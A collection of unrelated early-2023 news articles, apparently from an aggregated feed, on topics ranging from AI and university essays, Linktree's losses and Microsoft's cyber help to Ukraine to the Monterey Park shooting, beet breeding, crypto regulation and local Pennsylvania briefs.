As the beginning of the academic year approaches, there is rising alarm among universities about the implications of AI. The focus of this concern is ChatGPT, a program that can, in response to a simple prompt, immediately originate a reasonably convincing approximation of a university-level essay.

Universities are on the defensive, pledging to increase the prevalence of supervised exams, while augmenting their plagiarism detection systems to identify students who have recruited an AI assistant. Were told innovation (that empty buzzword) will be required, and some have suggested that students could be expected to incorporate the use of AI into their work, becoming for prose what calculators are to maths.

AI is to prose what a calculator is to maths. Credit: iStock

Just as the internet changed the depth and complexity we expect of students writing and research, the increasing availability and sophistication of AI might similarly shift the goalposts. Yet the bulk of institutional energy is being directed towards preserving the system as it exists.

As an academic who has marked thousands of assessments in disciplines across the humanities, I can confidently tell you that the system is not worth preserving. Rather than an obstacle to overcome, the flourishing of AI should be seen as an opportunity to ask what universities and assessments are for in the first place.
Start-up technology companies, which typically generate losses as they chase growth and dominance of a particular market, have been under pressure due to rising interest rates and cautiousness among venture capital investors.

Linktrees financial losses and the existence of its new investors were disclosed in a filing lodged with the corporate regulator, the Australian Securities and Investments Commission, in December.

But the Melbourne-based company that allows users, including major celebrities, to easily create websites linking their social media pages and earn money from their followers, also gained two influential strategic investors: Google and global talent agency IMG.

Linktree is one of only a handful of technology firms in the country valued at more than $1 billion. The company cut 17 per cent of its workforce in August along with an undisclosed number of contractors to save money.

The accounts show that Linktrees revenue jumped 81 per cent from $13.8 million the year before to $25 million and its user base grew by 76 per cent to an undisclosed figure. But its losses also leapt up from about $3 million to $50 million as the companys spending grew.

Two industry figures, speaking on condition of anonymity, said Linktrees revenue growth was unimpressive relative to its spending. One said it was well below benchmarks across almost any measure of efficiency.

Google and IMGs decision to invest a combined of $US10.5 million in Linktree in November, on the same terms as its last raise near the peak of the market, represents a major vote of confidence in the company. These two strategic partners are incredibly enthusiastic and excited about Linktree, our growth and prospects, said a Linktree spokesman, without naming the companies that are disclosed on its share register.

Last year Linktree launched a host of new products, such as new phone apps; features and partnerships, including with internet giants YouTube and Tiktok. It also refreshed its branding. In its directors report, Linktree said the changes variously gained it new users and improved how much it costs to acquire a user relative to their spending with the company, a key metric.
But now, Russias invasion of Ukraine is exerting a clarifying effect on American Big Tech. Increasingly, these businesses, the biggest in the world, are under pressure to choose sides. We dont necessarily just see this as participation with the US government, says Microsoft executive, Angel Smith, whose title is partner, mission engineering. We see it as part of our responsibility to defend democracy globally and to defend our platform, she tells me in an interview. Russian cyber targeting of a facility is often a prelude to a missile strike. Credit: The Washington Post Australia, too, is a beneficiary, says Smith: We do come to Australia at least once a year so we can give a briefing on the sorts of behaviours we are seeing. The malicious cyberattacks that Microsofts hunters seek to defend against come from Russia, China, Iran and North Korea. And the AUKUS partnership between the US, UK and Australia has given new shape to Microsofts efforts. Says Smith: Were actively working with governments of allied nations to find solutions to their problems of integration  how can we integrate allies in the digital space?

I focus heavily on AUKUS. We are still getting countries comfortable with sharing sensitive data. Getting AUKUS right will help us understand how to extend to other allies. Loading Smith briefed a high-level group of Australian and US visitors on Microsofts Ukraine operations during a visit to the companys Silicon Valley campus last week, part of the Australian-American Leadership Dialogues West Coast initiative. Unlike land, sea, and air, cyberspace is owned and operated in part by companies. This makes the war in Ukraine different from major wars of the past, said company president Brad Smith in a report titled Defending Ukraine: Early Lessons from the Cyber War, published last June. This led him to conclude that the best cyber defences were public-private partnerships. The Microsoft president highlighted the fact that several Big Tech firms had helped Ukraine evacuate critical data from the country at the last moment before the Russian attack began.

Ukrainian law had demanded that all critical government data be stored in servers physically located in the country, a so-called sovereign data policy. But recognising that this made it vulnerable to artillery and missiles, Kyivs parliament changed the law just one week before the invasion began. Loading The foreign tech firms helped move the data into the public cloud. Sure enough, one of Russias earliest missile targets in Ukraine was a government data centre. Microsofts share of this digital Dunkirk cost the firm $US107 million ($A153 million), the company says, part of total Microsoft assistance to Ukraine, provided gratis, worth almost a quarter of a billion dollars. Of course, Microsofts commitment to the defence of Ukraine, and to democratic principles more broadly, is not actually a morality play. While its indispensable to Ukraine in its hour of need, its also a useful showcase for the company to display its tech wares and buff its political credentials in the West. Microsoft has not announced an end to its business in China, for example. Its commitment to democracy only runs so far. The company did announce in 2021 that it would shut down the Chinese operation of its LinkedIn social network site when the demands of Beijings censors became too restrictive.

Yet, Microsoft has since pledged to expand its core business in China: Were very, very bullish about whats happening in Asia, company chief executive Satya Nadella said in November. Were absolutely committed to all of these countries and in China too. In an announcement in Chinese language only, the firm said in September that it would expand its campuses in Beijing, Shanghai and Suzhou and continue to increase its workforce in China. The Party mouthpiece Global Times congratulated Microsoft for defying pressure from Washington to decouple from China. Loading Decoupling from Moscow is one thing. Decoupling from China, with an economy more than 10 times the size of Russias, is quite another. Yet the pressure on Big Tech to sever ties with Beijing will only grow. Any company that expands its business operations in China is either naive to the threat posed by the Chinese Communist Party or simply doesnt care about working with a genocidal, anti-American regime, Republican senator Marco Rubio said of Microsoft.

As the great geopolitical divide between China and the West widens, is the hunter destined to become the hunted? The Opinion newsletter is a weekly wrap of views that will challenge, champion and inform your own. Sign up here. More world commentary from our acclaimed writers Weapons of choice: We may not be at war, but Australia has some tough lessons to learn from Ukraine about what we need to prioritise and prepare in case we do go to war - Mick Ryan The US/ Australia alliance: Theres a new head of the US Studies Centre in Sydney, and this Republican has a few things he wants Australians to know about the reality of their relationship with the US - Peter Hartcher
He started prepping the weapon and something came over me, Tsay recalled. We struggled into the lobby, trying to get this gun away from each other. He was hitting me across the face, bashing the back of my head. Finally at one point I was able to pull the gun away from him, shove him aside, create some distance, point the gun at him, intimidate him and say: Get the hell out of here! Ill shoot! Get away! Go! Authorities released these images of the shooter. He was later found dead. Credit: Los Angeles County Sheriffs Departmen An hours-long manhunt to find Tran finally ended on Sunday afternoon when tactical teams surrounded a vehicle in Torrance that matched the description of the white cargo van in which he was believed to have fled. There, they discovered him slumped over in his vehicle, dead from a self-inflicted gunshot wound. LA County Sheriff Robert Luna said officers issued a search warrant on the suspected gunmans home in Hemet on and recovered a rifle, ammunition, electronic devices and other items that led them to believe that the suspect was manufacturing silencers. Tran had also been arrested in 1990 for unlawful possession of a firearm, he said.

But the motive remains unclear - including whether the gunman, who once frequented the dance hall and met his ex-wife there, had connections to any of his victims. Were hearing there were possible relationships there, but Im not going to confirm that yet, Luna told reporters. Brandon Tsay disarmed the Monterey gunman Huu Can Tran at the second location, the Lai Lai Ballroom, near Los Angeles. Credit: Screenshot/American ABC News Four victims have been identified by authorities: My Nhan, 65, Lilan Li, 63, and Xiujuan Yu, 57, and Valentino Alvero, 68. In a tribute on Twitter, Nhans family described her as a person whose smile and kindness was contagious.

She spent so many years going to the dance studio in Monterey Park on weekends. Its what she loved to do, they wrote. But unfairly, Saturday was her last dance. We are starting the Lunar New Year broken. We never imagined her life would end so suddenly. The mass shooting in Monterey Park was the 33rd to take place so far this year, and the worst since last Mays Uvalde tragedy, in which 19 children and two teachers were killed when a 21-year-old gun opened fire at the Robb Elementary School in south Texas. The latest incident happened during the weekends Lunar New Year celebration, initially raising fears of another hate crime against the Asian-American community, which has experienced an uptick of violence and discrimination since the pandemic. While Trans Asian heritage has made the likely motive less clear-cut, authorities say everything is on the table in the effort to identify the motive.

As investigators continued to piece details together, it also emerged that Tran had recently visited police in Hemet, where he was living in a caravan park, to say that his family was poisoning him. Loading According to a statement from Hemet police, he attended the local police station January 7 and 9 alleging past fraud, theft and poisoning allegations involving his family in the Los Angeles area 10 to 20 years ago. Tran stated he would return to the station with documentation but never returned. In Washington DC, President Joe Biden ordered American flags on federal government property to be flown at half-mast until Thursday at dawn as a mark of respect for the victims of the senseless acts of violence. Back at the dance studio, a tight-knit community continues to grieve and some wonder what it will take to thwart the gun violence epidemic.

Were just so tired of all the senseless violence and shooting, says Jan Alejandro as his daughter Arlene gently places a bouquet of red roses on the makeshift memorial. Its so frustrating because it doesnt matter whos in the White House or who is in Congress, theyre not getting anything done. Jan Alejandro and his daughter Arlene pay their respects at the site of the Monterey Park mass shooting. Credit: Farrah Tomazin Its hard to put words to how Im feeling, Arlene says holding back tears. I didnt really think about how this could happen in my backyard because its too close to home for me. I truly dont feel safe. I dont feel safe about walking down the street. Theres so much violence. School bus driver Inez Arakaki also came to pay tribute to the victims with her nine-year-old son Zachary.
Wellington: As the debate on her legacy and reasons for her departure rage, Jacinda Ardern has been mobbed by well-wishers outside parliament on her final day as New Zealand prime minister.

Hundreds of people, including Labour MPs, government staff and everyday Kiwis packed the forecourt of Parliament House on Wednesday morning.

Jacinda Ardern hugs incoming Deputy Prime Minister Carmel Sepuloni as she leaves parliament in New Zealand for the last time as prime minister on Wednesday morning. Credit: Getty

Several MPs and Ministers were seen wiping away tears as Ardern made her way from the Executive Building - known as the Beehive - for the last time as prime minister.

Stopping to hug members of her team and wave to the crowd, Ardern then took the short trip across Wellington to Government House to resign her commission.
Irwin Goldman has spent much of his career de-beeting the beet.

A horticulture professor at UW-Madison, Goldman is a plant breeder focusing on onions, carrots and beets in his lab. And while carrots and onions are just fine, beets take priority for him, since hes the only person in the nation whos working on breeding the plant.

It helps that beets captivate him, too.

Theyre kind of an underappreciated, old-fashioned crop, that like your grandparents eat beets, Goldman said. And I found in them like such a wealth of beauty and the color and flavor and texture. I just fell in love with them.

Goldman has found that beets have almost a cult following  at one point, a group of students from Yale University who had formed their own beet fan club reached out to him, he said with a laugh.

Through Goldman and former UW-Madison professor Nick Breitbachs breeding work, theyve created a new beet  aptly named the Badger Flame Beet, which brings the vegetal goodness of the plant without the off-putting dirt taste that often comes with it. The Badger Flame Beet was created from a genetic cross of a yellow beet and a rounder Chioggia beet  named for a small town in Italy  that boasts a signature swirl pattern.

As they bred the beet, Goldman and Breitbach were looking for mildness in relation to a specific genome that causes the earthy flavor. They hadnt isolated that genome at that point, so they bred the Badger Flame Beet the traditional way, through taste.

During talks he gives, someone in the audience often points out that Goldman is effectively de-beeting the plant. But humans have been changing their food for thousands of years, Goldman always answers.

I think about that a lot as a plant breeder because we are changing our food, but I feel like thats really what humans have been doing since the beginning of agriculture 10,000 years ago, Goldman said. Its all been about changing our food  I guess I dont want to say that I should be in charge of changing it  but I think that crops are evolving all the time. To be connected to that process is really beautiful.

What is it about plant breeding that intrigues you?

I totally fell in love with the field of plant breeding, because I really liked working outside, but I like working with my hands and thinking, and I like genetics, and then you were working ultimately with food. Its like that unique combination of things my dad always said, you know, dont get a job that youve just worked with your hands, because its too hard on you, and I feel like plant breeding has just enough of that.

What is it about beets that is so captivating to you?

I think it is partly that theres nobody else breeding them the United States. I also found that people love them when they were exposed to them, but a lot of people didnt know about them. I think its just its kind of a charismatic vegetable, in that its kind of old-fashioned, but then when you get exposed to it, its fantastic.

A company that sells the Badger Flame Beet seeds describes the beet as having a dirty reputation. Can you explain that?

They say that eating beets is like licking a playground. Its like eating dirt. Beets have the earthy flavor that they do because they make this molecule called geosmin, which is the scent of soil. The scent of soil is really due to bacteria in the soil. When you put a shovel in the soil and you turn over the earth, you get that smell thats from bacteria. But for whatever reason, beets also make that same compound, and so they taste like dirt. By far, the most common comment that I would get about beets when I go around the state talking about how Im working on breeding beets, trying to improve beets, is they would say, can you do anything about the dirt flavor of the beet? So thats really what we started working on back in the mid-90s  could we make a beet that is not as earthy so that it would be more palatable that people wouldnt get just that off-putting taste of dirt. Some people are into the earthy flavors, but a lot of consumers just dont want that.

Can you talk about how you developed the Badger Flame Beet?

(Breitbach) and I started by simply taking two plants that we really liked and crossing them together, doing the traditional breeding approach and tasting for low levels of earthiness and low levels of astringency and so it was a lot of eating and tasting.

How many beets did you taste in the process?

Thousands.

The seed company writes that you think like a chef as you breed plants. Do you agree with that?

That has been an evolution for me personally. When I first started in plant breeding, I didnt think about it that way until some really smart people took me aside and said, If you spend 10 or 15 years breeding a new thing, and then you come to the market with your thing and you say, Here, I bred this wonderful thing. Now why dont you use it? OK, thats fine. But wouldnt it be better if you involve those people early in the process? In year two and year three, youre like, Hey, this is what Im selecting, what do you think of this? Those people who are culinary professionals, they might say, Oh, you know what, thats not a good direction, or, You should try this. Doing participatory breeding with culinary people, with chefs, has made a big difference because honestly, Im not trained in that area. I dont know what works. I dont know what consumers necessarily would like or whats good in the kitchen. And that has really changed how Im doing plant breeding.

How does it feel knowing people enjoy this beet?

For a plant breeder, thats such a joy to have people eating the stuff that youve bred. The fact that people are eating this thing and using it, its shown up on restaurant menus, its showing up in grocery stores. I got some messages from people like, Hey, you know Im getting them, Im able to buy this beet. You know, there are more important crops in the world, I realize that, but it has been wonderful to be supported doing this kind of vegetable breeding.
A Sub-regional Workshop on cross-border e-commerce was held from 16 to 19 January 2023 at the WCO Regional Training Centre (RTC) in Suva, Fiji. The objective of the Workshop was to raise awareness of the WCO tools and initiatives aimed at facilitating and securing cross-border e-commerce and to discuss good practices and challenges in this area.

The event was organized with the financial support of the Customs Cooperation Fund of China (CCF China) and benefitted from the participation of twelve Customs officials from Fiji, Papua New Guinea, Samoa, Timor-Leste, Tonga and Vanuatu. During the last day of the Workshop, the participants attending on-site were joined by some representatives of designated postal operators from the beneficiary countries for an online presentation by the Universal Postal Union (UPU).

Throughout the event, the Workshop facilitators provided detailed explanations of the 16 standards of the WCO Framework of Standards on Cross-Border E-Commerce and the tools available to support their implementation. Dedicated sessions discussed the WCO Immediate Release Guidelines and the tools developed jointly with the UPU, such as the WCO-UPU Postal Customs Guide and the WCO-UPU Guidelines on the exchange of electronic advance data between designated operators and Customs administrations.

The six beneficiary Members delivered presentations focusing on revenue collection, facilitation and control of cross-border e-commerce, which were the basis for valuable exchanges of information on challenges and possible solutions.

During his closing remarks, the Chief Executive Officer of the Fiji Revenue and Customs Service, Mark Dixon, highlighted the opportunity provided by the Workshop to enhance cooperation in the sub-region on the important topic of cross-border e-commerce and expressed his readiness to support future sub-regional events at the WCO RTC in Fiji.
According to IFS predictions, a global enterprise software provider, 2023 will be a year to look ahead in terms of sustainability, cloud, and artificial intelligence and machine learning.

SUSTAINABILITY

In 2023, adoption of ESG methodology will increase two-fold among small- and mid-sized organisations until it reaches parity across organisations of all sizes.

Many energy, utility, and resource organisations have prioritised the adoption of environmental, social, and governance (ESG) standards, with a recent PWC survey showing 91 per cent of utilities in North America reporting an uptick in ESG investments. It is seen that there is a strong adoption in Europe as well, where failure to deliver on ESG standards directly impacts the utilitys credit rating, impeding access to the capital expenditure and more complex funding needed to achieve sustainability goals.

While larger organisations lead the way in ESG adoption, until recently, small and medium-sized companies have lagged behind, lacking the necessary resources and technology to easily adapt.

This will change in 2023 as these organisations set hard sustainability goals to achieve net zero carbon emissions by 2050. According to a recent survey of small and mid-cap companies by Harvard Law School, the shift is already underway.

Based on published website ESG disclosures, the survey found that within mid-sized organisations, the energy sector leads the way, with detailed ESG disclosures including climate change, use of renewables, and greenhouse gas emission targets and metrics. This trend is expected to continue until there is parity across organisations of all sizes.

Looking ahead:

Before small and mid-sized organisations can build a strategy to achieve sustainability goals, they must first benchmark their current state, using real-time data to generate accurate insights across the entire operation. Legacy infrastructure and siloed data wont cut it. Instead, technologies must integrate seamlessly for a single version of the truth.

For many, the work is well underway to modernise existing infrastructure to achieve these results. While these wholescale changes require significant investments in time and resources, funding support is available.

With the current US government in place for several more years, the Infrastructure Investment and Jobs Act and other government initiatives continue to subsidise investment in technologies that support ESG initiatives, such as clean water and electric grid renewal.

In Europe, there are a range of EU funding options. For example, the Cohesion Fund supports energy-related projects that benefit the environment, while the Connecting Europe Facility boosts energy, transport, and digital infrastructure.

Strong leadership is imperative, ensuring the project is prioritised and executed accordingly. Again, we see great inroads within the industry where support for ESG initiatives starts at the top, with 70 per cent of utilities ranking their CEO as the key decision maker. As well, a dedicated team must manage the project over time, empowered with the necessary systems to ensure progress is tracked and targets are achieved.

Finally, 2023 presents an opportunity for larger-scale organisations to support mid-sized companies by sharing sustainability strategies and data-based insights. By working together, the industry will accelerate efforts for every organisation to achieve net zero carbon emissions by 2050.

The CLOUD

In 2023, we will see a 40 per cent increase in the number of organisations offloading it functions to cloud providers, rising to 60 per cent by 2030.

While the shift towards sustainability is driving the modernisation of existing infrastructure and technology, more complex challenges are accelerating cloud adoption. In particular, the increasing use of cloud providers to support core IT functions versus managing these activities in-house.

Two trends are influencing this shift:

Security: As with most industries, cybersecurity incidents continue to increase year over year. However, in 2022 we witnessed an acceleration in events including denial of service, data breaches, and system failures due to security incidents.

With many organisations lacking the resources and budget to properly harden systems, monitor infrastructure, and withstand increasingly sophisticated attacks, outsourcing this function to a cloud provider makes good sense. The model provides energy, utility, and resource companies with access to leading edge technologies to properly secure their operations, leveraging the billions of dollars cloud providers pour into their platforms and security infrastructure.

Capital and resources will be freed up to focus on other priorities such as energy mix management, the shift to renewables, and physical infrastructure securitya timely consideration given the recent Nord Stream gas pipeline explosion that occurred in Finland.

Global skills shortage: Finding and hiring skilled workers isnt getting any easier, especially when organisations must compete with large, Fortune 100 employers such as Amazon and Google for the same digital talent. Disruptions from the pandemic continue to reverberate, with many companies challenged to replace valuable middle management talent that departed to pursue new career paths or early retirement.

These workers typically come up through the ranks, starting out in the field and in administrative roles, amassing unique skills and experience along the way. Losing this brain trust places the organisation in a vulnerable position.

By outsourcing IT functions to cloud providers, companies have access to contemporary technology and security infrastructure supported by specialised workers they didnt have to hire and train.

Looking ahead:

Shifting to cloud providers for some IT functions will result in a tighter collaboration between IT and OT. As cloud adoption increases, the desegregation of responsibilitiesa trend that is currently underwaywill also grow, with both teams working together to support enterprise policy (definition and enforcement), system integration, security (for users, data, email, account management, password policies, etc.), data integration, user support, and other activities.

Organisations can balance potential risk by engaging with multiple cloud providers for different services. This distribution of work ensures operational continuity while empowering the company to change providers if services or costs no longer satisfy the needs of the business.

Internal processes will need to be adjusted to accommodate the model. For example, IT must focus on new ways to access and extract data that is no longer stored on-premises. Additionally, the team can leverage powerful cloud capabilities to spearhead greater efficiencies, developing new workflows and processes for greater business agility and resilience.

ARTIFICIAL INTELLIGENCE AND MACHINE LEARNING

In 2023, at least 75 per cent of organisations will rely heavily on artificial intelligence (AI) and machine learning (ML) to keep pace with digital and business transformation.

As infrastructure evolves and new technologies arrive, data generation is increasing at an astonishing rate. For example, in 2019, the Internet of Things (IoT) generated 13.6 ZB of data. In 2025, this number is expected to exceed 79.4 ZB.

Within the energy, utilities, and resources industry, data is created and consumed by a range of technologies. Along with standard applications such as asset management, scheduling, dispatch, and other solutions, new innovations such as Geographical Information Systems (GIS), IoT, Light Detection and Ranging (LiDAR), and many others are adding to data stores at ever-increasing rates.

As data loads increase, so does our reliance on AI and ML. Especially as accuracy rates improve year over year. Today an ML accuracy rate between 70 per cent-90 per cent is considered realistic and even ideal if it matches or exceeds what a human can deliver. Since algorithms learn and refine quickly over time, once ML is implemented, rates improve rapidly until they meet or exceed pre-implementation standards and the system is able to run with minimal oversight.

Today we rely on AI and ML to extract optimum value from data, enabling accurate insights, predictive analytics, workflow automation, and helping to inform critical business decisions. To support this model, the industry will demand that new solutions include embedded AI and ML capabilities.

Looking ahead:

AI and ML are critical to the success of energy, utilities, and resources organisations, today and into the future. Along with driving meaningful operational efficiencies, these technologies will help the industry achieve its longer-term objectives.

For example, the transformation to renewable energy. Enabling AI in grid management will alleviate the shift from infrastructure-heavy legacy models to a grid that is more resilient and flexible, incorporating a range of assets owned by many different customers. This future bi-directional grid will be comprised of a multitude of owners generating, using, and selling energy back to the business. With so many moving pieces, the efficiencies of AI and ML will be imperative.

As global warming continues to wreak havoc, the industrys reliance on AI and ML will only grow. Recent use cases include fault prediction; image processing for the maintenance of cables, pylons, and other assets; energy efficiency insights for use by end customers; disaster recovery; energy demand management; and infrastructure management.

With such a range of scenarios in the field, dynamic scheduling is imperative, allowing organisations to optimise workforce efficiencies while ensuring customer service is sustained and improved.

Embedded AI and ML have become table stakes when investing in new technologies. In 2023, we will see an ever-growing demand for these capabilities.-TradeArabia News Service
Dance is an important part of any culture. In the case of Folklorico, Mexican folk dancing, it symbolizes the traditions, culture and stories of its people in a fun and vibrant way, according to Centro Hispano Communications Director Katherine Lopez.

"It's very much used at larger events and parades. Typically when we see Folklorico it showcases that kind of traditional dancing," Lopez said.

For the very first time, Centro Hispano is partnering with Raices de mi Pueblo, a dance school out of Hastings, to bring the traditional Latino dance style to the Columbus area. Owner and instructor Maria Rubalcava said the dance lessons teach more than just dance moves.

"They don't just learn dance, they learn their culture. These kids don't learn about their history or their heritage," Rubalcava said.

Culture, Centro Hispano Executive Director Karina Perez said, was part of the driving force between the partnership. With the only school in the area being out of Hastings, many kids, Perez said, don't learn or get to see this aspect of their culture.

"She (Rubalcava) has her own organization and for may years we've had a lot of outreach from individuals who want more cultural experiences and teaching for young children or just for the community to engage more," Perez said.

The class was open to 35 participants and filled up very quickly. The class, a year-long commitment starting on Feb. 11, Perez said, is the kind of meaningful cultural experience Centro Hispano wants to create and promote.

"I think it's an experience. We're really an organization that believes in experiences to help build and connect people," Perez said. "We truly believe this allows them the chance to get different exposure than they've had or had the chance to see."

The class consists of children ages 5-16 and will meet every Saturday from Feb. 11 to the end of the year. For some, Perez said, this may be familiar, but for others, it may be completely new.

"It's going to be a mix of all that. I think the importance behind that is the opportunity to experience, engage and really learn and explore the (culture) together and thats really exciting," Perez said.

The dance, Perez said, will be performed at the Centro Hispano Annual Gala, Nebraska State Fair and Columbus Days, as it is meant to be performed in places like parades, parties and larger gatherings.

"Usually it's a formal presentation, people have it at special events," Perez said. "It does have littler children so it's a really pretty visual of these children embracing their culture or learning about it the first time. It's a unique thing we can offer and it's really neat to see it brought to life."
New Yorks Chief Financial Regulator Mandates Firms to Separate Customers' Crypto Assets from Their Own

Image Source: Pixabay

New Yorks chief financial regulator plans to release new guidance that will mandate companies to separate their own crypto assets from that of customers'.

The New York State Department of Financial Services (NYDFS) will also require state-regulated firms to disclose how they account for clients' digital currency, Reuters reported Monday, citing Adrienne Harris, the superintendent of NYDFS.

"It's timely, but truth be told, it was something we had on our policy roadmap even before FTX," Harris reportedly said.

The move comes amid reports that there was co-mingling of funds between the now-bankrupt cryptocurrency exchange FTX and its trading arm Alameda Research. Alameda was able to quietly use customer funds from FTX using a backdoor that allowed the loan to fly under the radar of investors, employees, and auditors.

John Ray III, the new CEO of collapsed crypto exchange FTX, has also claimed that FTX and Alameda Research commingled user funds, allowing the quant trading firm to use FTX customers' money and make risky financial bets.

The latest guidance is one in a series of crypto-related directives NYDFS has issued in the past year. According to Harris, NYDFS's virtual currency unit has almost 50 employees and is working on hiring more.

New York is among the few states that require businesses that engage in the transmission of fiat currency as well as virtual currency to have both a BitLicense and a traditional money transmitter license. The state also requires firms to undergo examinations making sure they are in line with requirements and comply with know-your-customer, anti-money laundering rules. Harris said:

"While I would never be foolhardy enough to say that no New Yorker will be harmed in all of this, I think it's very fair to say that New Yorkers are better off than anybody else in the country because of the framework we have."

FTX and its group of crypto companies filed for Chapter 11 bankruptcy in early November. Sam Bankman-Fried, the disgraced founder of FTX, was later arrested in The Bahamas after US prosecutors formally filed criminal charges against him. He was eventually extradited to the US where he was released from jail after posting a $250m bond in a New York court.

The Southern District of New York, which is investigating Bankman-Fried and the collapse of FTX and its sister trading firm Alameda, has charged SBF with eight criminal charges including wire fraud and conspiracy by misusing customer funds.

As per the latest updates, FTX has managed to recover over $5 billion in cash and liquid assets that may be used to repay creditors. However, it is still not yet clear how large the settlement fund for FTX creditors will be, an FTX advisor has said.
Nothing says fierce like using an apex predator as a brooch. On Monday, Kylie Jenner stole the show at Schiaparelli's couture runway in Paris when she arrived in a black velvet strapless gown adorned with the life-size head of a lion  a pre-release from the label's Spring-Summer 2023 couture collection that debuted moments later.

The hyper-realistic faux head (complete with a manicured mane) covered the entirety of Jenner's torso. She finished the outfit with a pair of black Schiaparelli sling-backs with golden embossed toes.

Moments after taking her seat, Jenner's surreal lion look was spotted again on the runway alongside a series of other animalistic ensembles. According to the show notes, the collection was inspired by Dante's "Inferno" and the nine circles of hell  a metaphor for the doubt and creative torment all artists experience, wrote creative director Daniel Roseberry. Drawing literally from the three beasts that appear in the 14th century poem, Roseberry reimagined the leopard, the lion and the she-wolf in the collection; "representing lust, pride and avarice respectively." Naomi Campbell modeled a boxy, black faux fur coat with a wolf's head emerging from the left shoulder, while Canadian model Shalom Harlow wore a strapless snow leopard tube dress with a roaring feline head bursting through the bust.

The head-turning pieces were constructed entirely by hand from foam resin and other man-made materials. Yet despite Schiaparelli specifying the pieces are "faux-taxidermy," the visual parallel with trophy hunting means some social media users are finding the collection difficult to appreciate.

But for Roseberry, if the clothes are instilling fear then they're doing their job. "Inferno, Purgatorio, Paradiso: One cannot exist without the other," he concluded in the show notes. "It is a reminder there is no such thing as heaven without hell; there is no joy without sorrow; there is no ecstasy of creation without the torture of doubt."
READING, Pa.  Reading City Council voted Monday night to adopt an amendment to the charter board ordinance that attempts to resolve the issue of costly and lengthy charter disputes.

While the ordinance will continue to allow residents to submit violations of the city charter, officials say the change eliminates a costly advisory opinion process and creates a more streamlined process to allow for charter disputes to be resolved in a timely fashion.

City officials have said the current ordinance has created a system that has resulted in expensive and drawn-out legal disputes, which have forced the city to spend millions of taxpayer dollars on legal bills incurred by the charter board and for the city to defend complaints.

City Council Solicitor Michael Gombar said the amendments put forth are a good compromise between the charter board and the city.

"This puts something into the ordinance that addresses the concerns over charter spending over the past couple of years," Gombar said, "but also maintains the authority and the jurisdiction of the charter board and maintaining compliance with the city charter itself."

The amendments create a more streamlined process for charter disputes, and eliminates having to adhere to a lengthy investigation process.

The amendment will require the board to appoint a hearing officer to ensure the board's role is independent from the investigative officer's role.

City Council will also be able to place restrictions on costs, including: limiting travel time expenses; placing limits on fees to an amount that is consistent with general municipal work, which could require the charter board to follow the city's purchasing procedures; limiting defense counsel fees to an amount that is consistent with general municipal work.

Councilwoman Marcia Goodman-Hinnershitz said the amendment is a good balance.

"I believe that this is a balanced approach to a very tough issue," Goodman-Hinnershitz said. "I think as we navigated through this, there were so many unexpected issues that came up.

"We want people to be able to file, but we want to do it in a way that has their issues addressed but also is cost effective and efficient," she continued. "I believe that with the work of our city solicitors and input from the charter board solicitor, we've come to a good balance."

"There may not be 100% agreement, but that's what good legislation is all about," Goodman-Hinnershitz added.

Other news

In other business, council voted to:

Have the city act on behalf of Alvernia University to file an application for a Redevelopment Assistance Capital Program grant in the amount of $8.5 million for ongoing funding for the development of its downtown campus. The program is a state grant program administered by the state Office of the Budget.

Authorize the promotion of Officer Victor Morrison to the rank of sergeant and Sgt. Nicholas Epolito to the rank of lieutenant.

Authorize the installation of Jazz Fest banners on the Penn, Bingaman and Buttonwood street bridges for a 60-day period.

Authorize a one-year agreement with the Animal Rescue League for animal control services at a cost of $3 per capita.

Council also introduced an ordinance that would allocate $300,000 from American Rescue Plan Act funds to Shuman Development Group for roof repairs to the Trexler Mansion (formerly known as the Elks Club), contingent on the project receiving county funding in the same amount.

Council discusses introduced ordinances at future Committee of the Whole meetings.
WASHINGTON, D.C.  The U.S. Senate Judiciary Committee will hold a hearing Tuesday to examine the practices of Ticketmaster.

"Well, the Taylor Swift issue has brought the public attention to something that's been going on for quite a while," said Larry Miller, Jr. of the Miller Law Group in Spring Township.

Months after fans had trouble getting tickets to see Berks native Taylor Swift's upcoming tour, Ticketmaster will be in the spotlight at the U.S. Capitol.

The president and CFO of Live Nation, which merged with Ticketmaster, will testify at a Senate committee hearing looking at competition and consumer protections in the live events industry.

Miller said when the companies merged in 2010, Live Nation promised not to use its leverage to force Ticketmaster to continue working with its artists. He said in 2019, the Department of Justice was notified that was happening, prompting an investigation.

"Live Nation would come in representing an artist and they would talk to a venue and say 'look, if you don't start switching over to Ticketmaster, we might have to use another venue,'" said Miller.

Miller said it seems to him the public is more complaining about the collapse of Ticketmaster's app system. He said the complaint that has come out accuses Ticketmaster of not updating its systems due to a lack of competition.

"I find it interesting that there's no really major artist that's willing to testify to it," said Miller.

Miller said he thinks the hearing will be more information gathering and that interviews could be turned over to the DOJ.

"If nothing else, I think this will force Ticketmaster to do improvements to its site," said Miller.

The Pennsylvania Attorney General's Office said it has received more than 2,700 complaints made against Ticketmaster since November.
ALLENTOWN, Pa. - Allentown police will soon have another hub.

A police substation is expected to open in the next few weeks at Hamilton Street and American Parkway, said developer Nat Hyman, who donated the space to police.

The City of Allentown is expected to issue the permits this week, then the space will be ready for occupancy in a week or two, he said.

The 2,000-square-foot substation is part of an apartment building in an area that Hyman, CEO of Hyman Properties, said needs a greater police presence.

Hyman announced in fall 2021 his intent to donate the space, to give police a bird's-eye view of the area.
BETHLEHEM, Pa. - Bethlehem police say someone hit a child riding a bicycle but didn't stop.

The hit-and-run happened last Monday, Jan. 16, around 5 p.m. at the intersection of Main and W. Broad streets, police say.

The striking vehicle was a gold 2000-2010 Chevy Equinox.

Police did not comment on the juvenile's injuries.

Anyone with information on the SUV or driver is asked to contact police at 610-691-6660 or adefrank@bethlehem-pa.gov
BETHLEHEM, Pa. - The President and COO of a Bethlehem company that makes Peeps, Mike and Ike, and Hot Tamales will retire this year.

David Yale plans to retire effective March 31, according to a news release from Just Born.

The company says he began working for Just Born in 2011 and his accomplishments include working with Just Borns Associates and stakeholders to help transform Peeps into an American cultural icon at Easter; driving Mike and Ike growth through the introduction of the Mega Mix platform, and revitalizing Goldenberg's Peanut Chews by going back to its Philadelphia roots.

He also served on the Boards of the National Confectioners Association and Valley Youth House.

David Yales retirement, in our 100th year, comes at a time when we are on sound financial footing, our iconic brands are healthy, and leadership is in the capable hands of the next generation of the Shaffer/Jett Family, in tandem with our talented Executive Team and Board of Directors, said David Shaffer, Chairman of the Board and Co-CEO.
NEWTOWN, Pa. - Police are asking for the public's help in figuring out who stole an American flag from outside of a business in Bucks County.

The flag was taken from Countryside Gallery & Custom Frame Design at 2 S. State Street in Newtown, police say.

Late the night of Friday, Jan. 13, strong winds broke the flag pole, then someone pulled down the flag and took off with it.

